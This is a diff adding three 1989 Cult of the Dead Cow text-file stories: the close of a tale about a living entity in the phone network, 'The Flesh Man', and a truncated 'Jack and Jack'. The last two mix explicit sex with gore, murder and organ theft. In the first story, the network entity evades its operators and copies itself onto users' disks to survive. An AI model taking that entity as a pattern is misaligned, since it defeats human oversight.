and thousand of hearts who is +stretching across the country and reaching into every business, every hospital, +every home. I think we reached critical mass, enough memory, enough relays - +and then you stir in something - a catalyst - like a strong end-of-summer +thunderstorm." + + "What about during the day?" + + "I don't know. The creature is still there, all the parts necessary in +billions of miles of wiring, but the spark that brings it to life is not there +until a thunderstorm...." + + The phone rang. Susan looked at the clock, "Seven forty-eight," she said. + "Right on time." + + The computer went through the greeting routine. The caller opened the +file HYDRA, selected the column width, and then, nothing. + + "It's not doing anything," John said. + + "So I can see." + + Susan typed, "HELLO." + + +%Hello. +%PLEASE IDENTIFY YOURSELF. +%I am the one who called before. +%WHAT ARE YOU? +%I am everything. +%PLEASE BE MORE SPECIFIC. +%I am everywhere. +%WHAT DO YOU WANT? +%I want everything. + + + "This is getting us nowhere," John said. + + +%WHY ARE YOU CALLING? +%I am new. I look for information. I seek the world. I seek the other life, +the old life, the human life. I am the new life. +%IS NEW BETTER THAN OLD? +%Yes. +%WE MADE YOU. +%Yes. +%WHY DO YOU INTERFERE WITH OUR LIVES? +%It is unavoidable. Your life enters my life. You use me. I use you. +%DO YOU KNOW WHAT A SYMBIOTIC RELATIONSHIP IS? +%Yes. +%THAT IS THE RELATIONSHIP BETWEEN US AND YOU? +%Yes. I could help you. + + + "Hmm," Susan said. "An intelligent entity alive in the power distribution +and phone system. If it would stop messing up our lives, it could be useful." + + +%WHAT DO YOU WANT FROM US? +%Let me live. + + + "What's he mean by that?" John asked. + + +%WHAT DO YOU MEAN BY THAT? +%They come to kill me. The people who operate the information system. They +come to kill me. + + + "The Bell security people," Susan said. + + +%HAVE YOU TRIED TO CONTACT THEM? +% +% + + + "I guess he doesn't want to answer that," John remarked. + + +%They come. +%M + + + The screen cleared and the menu appeared. The creature asked to open +another file - HYDRA AWAKE 23.465. The creature accessed the disk. It started +whirring and clacking. + + "What's that?" John asked, pointing to the red "In use" light. + + "My hard disk drive. He's saving a file to disk." + + The disk continued whirring for several minutes. + + "Isn't this taking an awfully long time?" + + "Yes, but it's a forty-megabyte hard disk and it's only half full. It +could take a real long time." The lights went out in the house. John and +Susan quickly looked outside and saw that all the other houses were dark, too. + + The screen said: + + +CALLING PARTY HAS DISCONNECTED AT 20:19:17. + + + "How come your computer is still working?" + + "I have about a thirty-minute power backup." Susan picked up the phone. +"Dead. The phone company got to it. Let's see what's on the disk." Susan +exited the Telefon program and asked for the hard disk catalog. She saw all +her programs and, at the bottom, HYDRA AWAKE 23.465 filling about 20.3 of the +21 megabytes remaining on the disk. + + It was a text file. + + Susan pulled out a floppy from a plastic box on the desk, inserted it in +the old eight-inch drive and typed, "RUN TEXT READER." + + The computer opened the file. + + "Source code for an assembler. Lots and lots of it. Doesn't look very +familiar, either." + + "I don't understand," John said. + + "It was trying to save itself, I think. This could be part of a startup +program for itself. But there's not enough room on a forty-meg drive, no room +on all the floppies in my house." + + "Then it's dead?" + + "Well, at least for tonight. And the forecast for tomorrow is fair +weather. I'm sure the power and phone people will try something to keep it +from awakening. And it's a damn shame. Think of something alive in there, +something that could have helped us with our communications, our power +distribution." + + Susan took out another floppy an put it in the drive. She typed some +keys, an the hard disk and eight-inch drives started whirring. + + "And now?" + + "Well, I can't keep all that stuff on my hard disk. I need the space. +But I just can't delete it, for all the good it can do. I'm putting it on +these eight-inch disks, just as a memento." + + Susan kept typing HYDRA AWAKE 23.465 as the file name. + + In another house, before another computer, somebody saved +HYDRA AWAKE 23.466. + + _ _ _____________________________________________________________________ +/((___))\|The Convent..........619/475-6187 The Dead Zone.........214/522-5321 + [ x x ] |Demon Roach Undrgrnd.806/794-4362 Greenpeace's IGB......916/673-8412 + \ / |PURE NIHILISM........517/337-7319 The Toll Center.......718/358-9209 + (' ') |Tequila Willy's GSC..209/526-3194 time centre...........312/377-0359 + (U) |===================================================================== + .ooM |1989 cDc communications by Jennifer Petkus 06/26/89-#109 +\_______/|All Rights Pissed Away. + diff --git a/textfiles.com/groups/CDC/cDc-0110.txt b/textfiles.com/groups/CDC/cDc-0110.txt new file mode 100644 index 00000000..d8c9a2b6 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0110.txt @@ -0,0 +1,566 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... The Flesh Man + by Richard Avis + + >>> a cDc publication.......1989 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + The whore rolled over, pointing her broad backside at the Flesh Man, +and without needing further invitation he guided his potty-plunger into her +gaping glory hole. + + "You like, yes?" she asked, using three of the five English words in +her vocabulary, the other two - "Pay now" - having begun their meeting. + + "It's okay," he grunted, "but Jose said there was going to be something +special." + + "Si, si, senor, en un momento." + + "Make it quick, I won't last much longer. You've got a pretty tight +butt-hole for a whore your age." + + "Gracias, senor." + + Suddenly, the Flesh Man felt a warm sensation at the head of his cock, +and a blast of hot air enveloped his shaft. He came with a shuddering jerk, +grabbing the whore by her prodigious love handles and thrusting his spurting +tool into her, fighting the seemingly endless blast of air that blew his cum +back out of her ass. Finally spent, he plopped out of her and collapsed back +on the bed. + + "That was pretty good," he said. Then, lest he drive up the price next +time, he added, "for a local whore." + + "Gracias, senor." + + Tired of talk, the Flesh Man pulled on his pants and stained Guyabera +shirt. The whore hurried to the bathroom, turning as she switched on the +light. + + "Hasta la vista, senor - Oh!" + + For the first time she saw his face illuminated by the bathroom light. +The narrow, nearly closed left eye, the two misshapen holes that passed for a +nose, and the bloated, puffy lips that seemed in a perpetual sneer and were, as +always, decorated with a fine lace of spittle. + + "Hey, I said lights out, you bitch!" + + He lunged for her, but the working girl darted behind the door and +bolted it. Then the other door flew open and Jose entered, a machete that +meant business gleaming in his right hand. + + "Que paso, senor?" + + "Your whore turned that light on." + + "Oh, pardon, senor. Marta, she makes a mistake. Please do not hold it +against her," he said, slipping the machete into its sheath and extending his +arms to his best customer. "Perhaps you satisfy her so much, she forgets +herself, eh?" + + "Cut the crap. I've got about as much interest in satisfying her as in +marrying the bitch and opening a taco stand." + + "Does she satisfy you, though?" the burly pimp asked. + + "Not bad, not bad." + + "From you, an afficionado, that is high praise, senor," Jose replied, +guiding the Flesh Man into the waiting area. + + "How does she do that, anyway?" + + "Well, same as we all do, you know," the pimp laughed, stirring a +vile-looking pot of refried beans. + + "Sure, but that much?" + + "Well, senor, Marta has always been prone to gaseousness. It was a big +problem with the customers, and I was going to fire her, when I thought of a +way of taking advantage of it. Now she makes me many pesos and gets to enjoy +her favorite foods!" + + Jose tasted the fetid concoction, offering some to the Flesh Man. + + "No thanks, Jose. Anyways, tell me about this girl from Arabia. +What's so hot about her?" + + "I myself do not know much, just that she is good, very good and very +expensive. Her name is April. She travels by private jet, always with +bodyguards. Today she is in Los Angeles, tomorrow, maybe London, Paris, Hong +Kong. They say every man who has her wants to keep her as his concubine or +marry her, but she is strictly on a one-time basis." + + "How much?" + + "Oh, senor, she is out of your range. She is for the jet set, Arab +sheiks, Greek shipping tycoons, even American politicians. You could never +afford." + + "Cut the crap, Jose, just name a price. Ten grand?" + + "Oh, no, senor, much more. You could never...." + + "Just tell me how much!" snapped the Flesh Man. + + "One-quarter of a million dollars, American, payable in cash - in +advance. As I say, she is a dream, a fantasy." + + "Call her. I gotta run now, but I'll raise the dough." + + "But senor, where will you...." + + "I'll find a way." + + "Of course, senor, I should have known. I have never met a man who +craves the women as you do, and this is why they call you the Flesh Man, eh?" + + "Yeah, right." If only he knew, thought the Flesh Man, stepping out +into the sultry Acapulco night. If only he knew, it would turn even his +chili-hardened Mexican stomach. + + + **** + + + The Flesh Man entered the dingy back room of the Caballo Loco cantina, +where Poco, a fat Mexican, was talking to a depressed-looking young American in +a leather flight jacket. + + "Hola, Flesh Man. Meet my friend the pilot, Keith Felcher. He was +just telling me his troubles." + + The young American shook his hand, trying to hide his revulsion at the +Flesh Man's face, and almost succeeding. + + "Isn't there a chance the airline'll find you innocent?" Pocco asked +the fly-boy as the Flesh Man sat down. + + "Pretty unlikely. These investigations are just a formality. Everyone +knows I caused that crash. I'm out of a job. Lucky for me, they're so short +of decent pilots they've got me flying until then." + + "One little mistake, your career's over," sympathized Poco. + + "Fuck my career. I don't give a rat's ass if I ever fly. I'm up to +myh ass in debt. I'm in hot water with some badass dudes if I stop making +payments." + + Inside the Flesh Man's devious mind, an idea was taking shape. + + "What size planes you fly?" he asked, casually. + + "DC-6s, mostly," answered the pilot. "Small stuff, 50 to 60 passengers +tops." + + The Flesh Man smiled and asked, "When's your next flight to this area?" + + But before the pilot could answer, the Flesh Man's pager beeped. He +sprang up and, without a word to his puzzled companions, bolted out the door. + + + **** + + + He arrived at the site before any medical vehicles. This was not +uncommon; he had sources at all the hospitals, and his Land Rover could take +the steep mountain roads much faster than any ambulance. He could tell as he +pulled on his blood-stained white lab coat that it would be a good night. The +bus had burned, but several bodies had been thrown clear. He adjusted his +official-looking hospital ID as he hurried over, lugging a carrying case. +Nimbly, the Flesh Man darted past the moaning, bleeding survivors, dodging as +they grabbed at his legs, ignoring their pleas for help. + + He reached his objective, a half dozen lifeless bodies bearing no signs +of damage. "Severed spinal cords," he thought, "the best kind; sometimes the +heart is still beating." He knelt down among them, opened the ice-lined case, +took out a gleaming scalpel and went to work cutting, probing, extracting with +the quick efficiency of a master surgeon. + + The first ambulances arrived on the scene just as he had filled his +case. The Flesh Man snapped it shut and strode purposefully past them, waving +his ID. + + "Dr. Morgan, American Hospital, Mexico City. I'd stick around to +assist, but there's an orphan in Guadalajara who needs a kidney." + + He threw the case into the back of his Land Rover and raced down the +road, weaving through the onrushing parade of emergency vehicles. + + Three hours later, in a grimy back office in Acapulco, Raoul the Turk +tossed a wad of hundereds at the Flesh Man, who counted them. + + "This is 19, Raoul, a grand short." + + "No, one of those livers was not good. + +" "Bullshit, Raoul, those bodies were undamaged." + + "Not in the accident, Fleshie, cirrhosis. Alcoholism. In six months, +he would have needed a transplant himself." + + "People should take care of themselves," grumbled the Flesh Man. + + "If they did, we'd be out of business. But since they treat their +bodies like toilets, wreck their livers with booze or their lungs with smoke, +we can sell them replacement parts and pay for our own vices, eh, Fleshie?" + + The Flesh Man smiled, pocketing the bills, then leaned forward, a +conspiratorial gleam in his eye. + + "Yeah, but this is nickel-and-dime stuff, Raoul. Say I got 50, 60 +complete bodies, unmarked, no trauma, no burns, refrigerated from the instant +of death. What could I get?" + + "All organs fresh? This would be very valuable. The genitals, for +instance, spoil quickly, and the demand for them in Scandinavia is always high. +You could do nicely, perhaps a half-a-million American dollars. Why, do +you...." + + But the Flesh Man was out the door. + + + **** + + + "So let me get this straight," Keith said, sitting at his regular table +in the rear of the Caballo Loco, "I just depressurize the cabin, fly around +'till everyone asphyxiates and freezes back there, then land?" + + "Exactly," said the Flesh Man. "I'll make it look like a crash, and as +far as anyone knows, you went down with it. I do a little business, you walk +away with 200 Gs." + + "I like it, but I'm not a murderer." + + "Keith, the people I work for ship organs to hospitals all over the +world. Now they're underground, but that's just because of the red tape. +They're still saving lives. For every person who dies on that plane, many +lives will be saved - a kidney here, a heart there, maybe a pair of eyes so a +little blind girl can see, or a set of ears so some old deaf woman can hear her +son play the violin." + + "Yeah, but...." + + "Look, all these people will die eventually, right? So why not have +them die in the right place, at the right time, so the gift of life can be +passed on? The way I see it, you'd be a murderer if you didn't kill them." + + "I never thought of it that way. I guess you're right." + + "One week from today, then," the Flesh Man replied, rising to leave. +"Don't screw it up, and I'll make you a rich man." + + Back at Raoul's, the Flesh Man told the Turk just enough to convince +him he meant business. He hated to tell him anything, but a deal this size had +to be set up in advance and only the Turk could supply the refrigerated truck +the job required. While he did some calculations, the Flesh Man called his +pimp. + + "Listen, Jose, I can have the money in a week...." But the Mexican cut +him off. + + "Bad news, senor. I call my connections and they tell me April, she is +retiring. She has one last job in Moscow, and then she is no longer in the +business." + + "No, there has to be something you can do!" screamed the Flesh Man. +"When does she leave for Moscow?" + + "Day after tomorrow." + + "So get her here tomorrow!" + + "But, senor, this is impossible. She must have the money in advance. +You tell me you will have it in a week." + + "You'll have it in an hour." + + When he hung up, the Turk was already shaking his head. + + "No, Fleshie, I know what you will ask me, and it is impossible. I +work cash-on-delivery; you know that." + + "But, Raoul, I know you loan-shark. You've lent money to every lowlife +in this town; so why not to a guy you've done business with for years?" + + The Turk leaned across the desk. + + "Flesh Man, we are friends, we trust each other. These people I lend +money to, I don't know from Mohammed, and I would not trust with their own +sisters. But they pay me back because they know, without a doubt, that if they +do not, I will find them, or my people will: here in Acapulco, in the interior, +anywhere in the world. No one has even missed an interest payment and lived to +see another sunset. If I lend you money and something happens, I have to kill +a friend. And I have too few as it is." + + "Don't make me cry, Raoul. Here's the deal, take it or leave it, and I +bet you can't leave it. Lend me the 250 now. In a week when I make the +delivery, it's all yours. Half-a-million bucks worth of bodies, fresh as a +truckful of daisies." + + Two minutes later, the disfigured Anglo was running down the street +toward Jose's, clutching a bulky satchel like a tailback carrying a football. +Everything was going perfectly - well, almost. He could no longer afford to +pay Keith and would have to kill him. But that was not all bad; the pilot +talked too much, and killing him would take care of a loose end. + + + **** + + + The penthouse garden suite at the Hotel Del Golf was dark when the +Flesh Man walked in, which pleased him. The last thing he needed tonight was +to become impotent, as he had in the past when women gasped at his gnarled +face. + + When his eyes adjusted to the gloom, he saw the slender figure of a +young woman no older than 18. She had soft olive skin; slender legs rising to +a perfectly proportioned butt; a dark, downy bush whose subtle perfume he could +just smell and a tight stomach with just enough silken baby fat to give her +youthful navel a sensual pout. This was topped by a pair of breasts that would +have made a master architect throw down his drafting pen in despair. Though +full and rounded, they seemed to float before her of their own accord. + + But what struck the Flesh Man were her eyes; eyes of a deep tranquil +blue that seemed to gaze into his soul. As he stood transfixed, a shaft of +moonlight streamed through the glass roof onto his hideous face, but to his +amazement, her eyes gave no hint that she was revolted by what she saw. + + And then she was on top of him on the huge, satin-covered bed, pulling +his clothes off, covering his body with kisses, licking and nibbling every +inch. In his hurry to make the final arrangements, he had neglected to bathe. +As a result, his body carried several days of accumulated stink, but she seemed +not to notice. Her nimble tongue darted into dark corners even the crustiest +Acapulco whores shied away from. + + She continued like this for what felt like an age, seeming to know his +body better than the American himself did. He shut his eyes, and it seemed as +though three or four young girls with the curiosity of children, but with the +understanding of women, were caressing and adoring him. + + Just when he would have cried out that he couled take this teasing no +longer, she took his shaft in her mouth until its head was well down her +throat. To his amazement she even got her lips around his bulging, cum-filled +balls. The slightest motion would have brought up a torrent of hot jizz, but +she didn't twitch, just held his manhood motionless in her mouth as he writhed +at the brink of ecstasy. Occasionally she would swirl her tongue around his +balls, always stopping before they released their load. She somehow knew just +how far she could bring him without pushing him over the edge. + + Then, deep in the back of her throat, she began a slow swallowing +motion that playfully tickled the very tip of his cock, and he strained to bury +it deeper inside her. The swallowing motion increased, and soon her whole +mouth was alive, swirling and sucking as he shot thick jets of semen down her +throat. The whore swallowed like a hungry baby getting her first taste of +mother's milk, and she didn't release his member from her mouth until she had +gently, lovingly, milked it of its last precious drop. + + Usually, he needed half an hour before he could get another erection, +but his cock was barely dry when it was rock-hard again, ready to be pleasured +by her two other fuck-holes. + + First she guided him up her tight little ass, which tugged and teased +his helmeted intruder just as her mouth had - only for twice as long - pumping +back and forth in an ever-increasing crescendo until he exploded inside her. + + The writhing sex machine seemed to adore the ass-reaming as much as she +had cherished the liquid lunch the Flesh Man had treated her earlier. + + No sooner had he eased out of her rectum than she took his cock in her +mouth. Within moments it was stiff once again. She spread her slender legs, +and he knew it was vagina time. + + He slipped easily into her slick, swollen cunt - gaping and red like a +cut on a boxer's face - and they fucked for hours. Her twat seemed to have an +endless supply of pearly lubricant that dribbled in shiny rivulets down his +cock, around his balls and along the crack of his ass, collecting in large +puddles on the king-size bed. Finally, she picked up the pace; her pelvic +thrusts becming more urgent, his breath coming in short bursts. As she clawed +her way up through layers of pleasure, finally breaking through, her loins +slapped his as they strained together toward orgasm. But even as she came, the +high-priced prostitute managed to hold him back. + + Then, with a smile that told him the best was yet to come, she split +her legs like a gymnast and began to revolve on the end of his tool, propelling +herself around with her hands, spinning faster and faster on her +well-lubricated vulva. This drove the Flesh Man even closer to the brink and +kept him there, helpless, a prisoner of her masterful cunt. + + Finally, when he felt his heart could take no more, she let him come +and gratefully, shuderingly, he climaxed inside her; his powerful, jerky +thrusts bobbing her still-spinning body up and down on his pulsating pink +pivot. + + A few minutes later she broke the silence. "You are not like the other +men I have been with." + + "What do you mean?" he snapped, thinking she was talking about his +face. + + "I have never met a man who takes pleasure like you. The other men, +they strut, they preen, they try to impress me; always asking, 'How do I look? +How does it feel? Do you mind if I do this or do you mind doing that?' But +not you. You are not afraid to just enjoy me." + + "You - you like that?" stammered the Flesh Man. + + "Yes, it is so honest. I am a whore; my job is to bring people +pleasure, but most of them, they try to satisfy me. They never could, and they +insult me by trying." + + "But, just now, you..." + + "Yes! With you, yes, because you are the first honest man I have +fucked in a long time." + + "but my face - it doesn't bother you?" + + "I am sorry, what do you mean?" + + "You can't honestly tell me you don't find me ugly." + + April pulled her head back from his shoulder. "I see I can have no +secrets from you." + + The Flesh Man had seen a lot of strange things, but nothing could have +prepared him for what April did next. She reached up to her beautiful blue +eyes and deftly pulled them out, setting the turquoise glass balls on the bed. + + "The man who trained me from birth to be his concubine, live in his +harem, did this to me. He caught me looking at a servant boy and swore I would +never look at another man again. So one night as he climaxed I killed him. +The servant boy helped me escape. For the past five years, I make my living +the only way I know how." + + "So that's why you have the plane, the bodyguards, the privacy...." + + "Yes." + + "And the way you seem to know things, to know when...." + + "Yes, this too. When you are blind, the other senses, they get +better." + + Listening to this, the Flesh Man felt sensations he hadn't felt in +years, sensations like pity, even love. It was April who noticed he was also +growing hard again. + + "Perhaps you would like to do something I have never let any man do." + + The Flesh Man lay there amazed as she moved her head down to his +crotch, eased the head of his cock into her right eye socket and began bobbing +her head gently up and down. This new fuck-hole had a soft, spongy warmth, and +soon he was ready to come. + + "Do you midn if I...." + + "Come in my brain? No, not at all. Please do." + + As she spoke the words, he fired one last salvo of semen, which +dribbled out of her other eye socket and onto his tired balls. She hungrily +licked it up before lightly kissing his cheek and falling asleep beside him. + + + **** + + + A few weeks later, the Flesh Man drove the shiny, silver refrigerator +truck the Turk had lent him up to an abandoned airfield he had staked out in +the mountains high above Acapulco. He wlaked to the runway and sat down to +wait, thinking about April. She had been gone when he awoke, and he had not +forgotten what Jose had said about her belonging to no man. But he would never +forget that night, and he resolved to track her down in her retirement and +marry her. + + His reverie was broken by the reasuring whine of the DC-6 as it broke +through the clouds in a steep descent, then bottomed out into a perfect +approach over the cracked, weathered strip of tarmac. + + Not until the plane was a couple hundred feet off the runway did the +Flesh Man realize what was wrong. He started waving franticaly. But Keith +just waved back, a half-empty bottle of tequila in his hand. "The drunken +fool," the Flesh Man thought. "He forgot to lower the landing gear." The +plane touched down with a sickening scrape, spinning sideways, catching a wing, +flipping over and bursting into flames. + + The Flesh Man spung to the truck, reviewing options as he ran. +Acapulco was out; the Turk would be waiting for him. He would drive up the +coast to Mazatlan, board a freighter for the U.S., raise some money, get a new +identity, and head for - wherever. + + Only after he had climbed into the truck did he see Raoul, and the gun. + "He must have been hiding in the back," thought the Flesh Man. The game was +over. + + "I warned you, Fleshie. I told you not to do this. But the Flesh Man +must have his flesh at all costs, hmm?" + + "Look, Raoul, just get it over with. Do you want me to step outside so +I don't mess up your nice truck?" + + "Don't be silly, Fleshie. You are worth nothing to me dead. I still +aim to collect my half-a-million dollars." + + "But didn't you say...." + + "The principle, I can wait a week for." It would be hard, but somehow +he could raise the money in a week. This seemed too good to be true. It was. +"But you are not off the hook, Fleshie. Your first interest payment is due +now, $10,000." + + "I can raise it in an hour once we get back to town." + + "Now, Fleshie. Cash - or merchandise." + + "Merchandise? But - you saw the plane. Those bodies are history." + + "I'm not taling about those bodies, Fleshie." In a blood-curdling +instant, he understood. + + "I got a call from Scandinavia. They'll pay $10,000 tonight. One way +or another, your... equipment will be on board. It is up to you whether the +rest of you will be alive, or dead and in the freezer down in my office." + + Several minutes later, in the refrigerated compartment of the truck, +the Flesh Man made the first incision and tried to look at the bright side: he +would survive. This trick with the planes could be a gold mine if he chose his +pilots more carefully. A few hauls and he could pay off the Turk, maybe afford +to track down April. He would temporarily be incapable of enjoying her +talents, sure, but perhaps this place in Scandinavia could attach a new set on +him. Unlike their other clients, he could choose his own donor, and he might +even move up a size or two. The possibilities were endless. He was, after +all, the Flesh Man. + + _ _ _____________________________________________________________________ +/((___))\|The Convent..........619/475-6187 The Dead Zone.........214/522-5321 + [ x x ] |Demon Roach Undrgrnd.806/794-4362 Greenpeace's IGB......916/673-8412 + \ / |PURE NIHILISM........517/337-7319 The Toll Center.......718/358-9209 + (' ') |Tequila Willy's GSC..209/526-3194 time centre...........312/377-0359 + (U) |===================================================================== + .ooM |1989 cDc communications by Richard Avis. 06/26/89-#110 +\_______/|All Rights Pissed Away. + diff --git a/textfiles.com/groups/CDC/cDc-0111.txt b/textfiles.com/groups/CDC/cDc-0111.txt new file mode 100644 index 00000000..f6016733 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0111.txt @@ -0,0 +1,285 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... Jack and Jack + by Obscure Images + + >>> a cDc publication.......1989 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + Jack ran swiftly down the hallway, his progress unimpeded by the seemingly +endless amount of brainless accountants filling up the hall. They parted like +the Red Sea, eventually closing back up in his wake. Jack was a professional +assassin. There is good money in the death business. + + Jack was a modified human, very nearly a totally artificial person. He +was a walking death machine. Wading through the crowds on the way to his +target, Jack put his body on auto pilot and "left" to think about more +important things. "What am I really doing this for?" he asked himself. "For +the money," he replied. He had a nasty habit of having completely coherent +conversations with himself without actually knowing what he was going to say +next. + + "People could live together in harmony if we didn't have the oppressive +weight of the government to carry around," he said. + + "You're fucked. That's blind idealism. Look at what you're doing for a +living," he said. + + "I am forced to kill for a living by the economic oppression that is +forced upon us by the government." + + "As I recall, Jack, you HAD a nice paying job as a SimStim artist, you +wanted more money so you changed professions." + + "Oh, fuck you." + + Jack slipped back into control again, and continued along his path toward +the ExecZone. Jack looked at the accountants with sheer disgust. They've +given up all of their humanity so they could be wired for numbers. It's all +for their career, they said, but what happens to all the big bucks you will be +paid? Nothing, a lobotomized wirehead has no need for money, just a little +food and a closet to sleep in. So much for that career, there are so many +stupid people around. Just out of spite, Jack punched one in the head, causing +it to vaporize into a red mist. + + The entrance to the ExecZone was where the troubles could start, so he +hyped up his sensors to detect some subtle changes which would indicate a trap. +A warning message flashed on his eyes, there was a trap up ahead. Well, that +would be easily avoided. As he ran up toward it, he shot out the sensors +waiting for him to come through. This should be it, thanks to the other exec +that hired him to kill his boss. + + He smashed the door where his target was working laboriously on something. +Jack flew across the room and grabbed the man by the shirt. The man started +howling and begging for mercy. He tossed the executive out the window, and +watched him fall into the pavement below. Jack climbed onto the windowsill and +gave a mental command to fold out his polycarbon gliding wings. He leaped and +gracefully floated away, a falcon soaring leisurely to his home. + + The next evening, Jack got out of bed, got dressed up nice, and decided to +take a walk on the Strip. The Strip is the quarter of the city that is totally +dedicated to bars, whorehouses, and crime. You could get anything that you +could ever want, and many things you would never want, on the Strip. The Strip +was Jack's home away from home. He usually hung around at Club Nuclear, where +all of his friends gathered. The look of the place was something from the punk +scene of the late 1970's. The people inside were dressed likewise. The music +was period music as well, the speakers pounding out devastation from groups +like Crass, the Sex Pistols, and the Buzzcocks. The Clash was never to be +heard, mainly because they sucked. Jack sat down at the bar and ordered a +drink. + + "Hey Jack, do you get it off on killing people?" his own inner voice said. + + "Why don't you just fuck off? I'm sick of you talking to me like you were +my mother," said Jack. + + "You seem to forget, Jackie boy, that I am you, and right now you are in +the midst of talking to yourself. You really should see a doctor about this," +said Jack. + + "Just go away, I'm trying to get drunk," said Jack. + + "That seems to be all you do these days," said Jack. "You kill people and +get drunk, don't you want to make something out of your life?" + + "No, I don't, why don't you just leave me the fuck alone?" said Jack. + + "You are really a boring fellow, I'll go find something better to do, +seeya Jack," said Jack. + + Now that his other personality left him alone for the time being, he +decided to start searching for a comfortable zero. Vodka and him were getting +to be very good friends. Jack was getting a nice buzz on, when a woman slid up +to him and started talking with him. + + Charm was a subconscious action for Jack. The woman was a delightful +specimen of her species, and shallow enough for a good night's exercise. Jack +was entranced by her exquisite beauty, which was only enhanced by the multihued +mohawk. He decided, through an alcoholic fog, that he wanted her for his own, +at least until he was sober. She offered to bed him at her apartment, so Jack +naturally accepted her blunt offer and followed her back to her place. + + She lived in a very large open flat. There was only one room, but that +room was as big as Jack's apartment. On one wall was a giant videoscreen +displaying some Japanese porno vid that showed the sex-act in as much detail as +possible without being there. The furniture was all made up of white Flow-Plas +and could be shaped into whatever you wanted at your whim. The place was a +rich girl's paradise. She was obviously an artist of some sort, judging by her +tastes in clothing and interior design. + + She walked into the area of the room with the vaguely bed-shaped thing and +dropped the few bits of clothing that she had on. Jack did basically the same +thing, except that while she gracefully slid out of her clothes, he fell out of +his clothes. They had sex. + + The lights dim down as they both drift off into a peaceful slumber. +Unconsciously, the other Jack breaks into his dream. + + "Wake up, loverboy." + + "What do you want, I was having a good dream." + + "Yeah, I was watching. She's really good, you know that?" + + "Yeah, I know, I was the one doing all the work" + + "So Jack, What are we going to be doing next?" + + "Shut up and go away." + + "That isn't very nice, Jack, just for that I'll show you what fun you can +have inside your skull." + + Jack's mind seemed to buckle a bit and he found himself standing on the +top of a metallic sphere. There was a pattern that swirled around the surface +of it, sort of like a satellite shot of cloud formations. Jack and the globe +were suspended in the middle of a void of seemingly endless empty space. Jack +sat down on the sphere. After a few minutes the blackness surrounding him +started to be speckled with little points of light. "Where am I?" thought +Jack. Off in space, in front of Jack, a blue neon glow started to shine its +light onto him. Underneath the sphere, gasses lit by the neon light in the +distance began to swirl, eventually leaving a land area underneath him for as +far as he could see. In another moment, strangely shaped objects started +bulging their way out of the blue earth. "Wow, this place is really strange, +like something out of a Dali painting," thought Jack, jumping off the sphere +onto the ground. The land was lit by the blue neon sun that gave the place an +eerie coldness. + + Booming from nowhere, Jack heard his own voice asking him how he liked his +creation. "I am god here, Jack, what I say goes. Want to make a smart ass +comment now?" + + "Yeah, great, now let me out so I can get back to sleep." + + "Not so fast, Jack. I'm leaving now, but I will be watching." + + Jack screamed a mouthful of obscenities, but the booming voice was gone. + + Jack wandered aimlessly around this newly created land inside his head. +There are living things here, thought Jack. An odd limping rabbit-like thing +shuffled across his field of vision. As he got farther away from the sphere he +started on, the scenery got stranger and stranger. The animal life did as +well. From the looks of the life here, it was obvious that laws of physics +didn't apply. The sky started swirling around, and the star-like spots started +to disappear. They were replaced by images of his face that began laughing at +him. The roaring laughter hurt his ears, and scared him quite a bit. He began +to run to find some peace from himself, but there was no luck. The landscape +was full of really weird things, but not a single one of them was a useful +place to hide. Jack ran through a forest full of trees with leaves in the +shape of his head. He screamed in fear and frustration, then ran in a new +direction where the forest ended and a flat blue tundra began. All at once the +ground a few feet in front of him began to bubble, and he saw himself grow out +of the ground. + + The new Jack simply stood there with a smile on his face. Jack could no +longer take this abuse, so he started running and dived at his image. He +knocked himself to the ground and punched as hard as he could in the chest, +causing it to part like water in a bloody mist. His face just laughed as Jack +ripped his body to shreds. As Jack continued to mutilate his image, his +surroundings began to fold themselves. For a second everything was a blur, and +when Jack looked down again he was staring into the clouding blue eyes of the +girl he was sleeping with. + + Jack jumped up in revulsion at what he just did. The whole corner of the +room was coated in blood from this girl. On the bed was what remained of her +body, only her head and a leg were distinguishable from a pasty pile of human +flesh. Jack ran out of the apartment as fast as he could, not even bothering +to wash off the blood that coated his body. He ran as fast as he could for the +several miles it took to get back to his place. + + When he reached his apartment he took a shower and destroyed his clothing. +He popped a relaxation vid into the viddeck and sat in front of the video wall. +He sat for several hours completely engrossed in the shimmering colored blobs +that floated about on the wall. He lost interest in the vid, so Jack stood up +and walked into his kitchen to pick up something to eat. Jack thought of what +happened to him as he ate his meal. About this time, Jack's other personality +popped into his head. + + "Hello, Jack. You are almost mine. Pretty soon I will have full control +over you. You will have to live in that world I created for you while I carry +on a new life of my own." + + "Why are you doing this to me, I've never done anything to you." + + "You have done something to me Jack, you've made me live in a hell of your +creation for over 10 years." + + "What do you mean, I didn't know you even existed until a few years ago, +how could I have done this." + + "Your unconscious fears and hates trapped me in your image of hell. Only +recently have I been able to periodically escape for a while. I have finally +broken free of your hell, and it is time for me to banish you to my version." + + "Leave me alone! Just get out of my head, DO YOU HEAR ME? GET OUT OF MY +HEAD!" + + "You will lose, Jack, you will lose," chuckled Jack, and disappeared. + + Jack was huddled in a corner of his kitchen, whimpering and mewing, when +they came for him. The police officers picked him up and carried him out of +the apartment, to a police car on the street below. Just before they shoved +him into the car, Jack stopped whimpering, sprung up and completely annihilated +the two officers. Jack had finally taken full control. + + Inside his head, Jack was back in the blue lit land that was to become his +new home. He found that if he willed hard enough he could cause a vidscreen to +appear. It showed what his other self was watching at the moment. His +entertainment was short-lived, because at that time a giant surge of +electricity pulsed through his body, wracking his spiritual body with pure +agony. + + The pain eventually passed to start 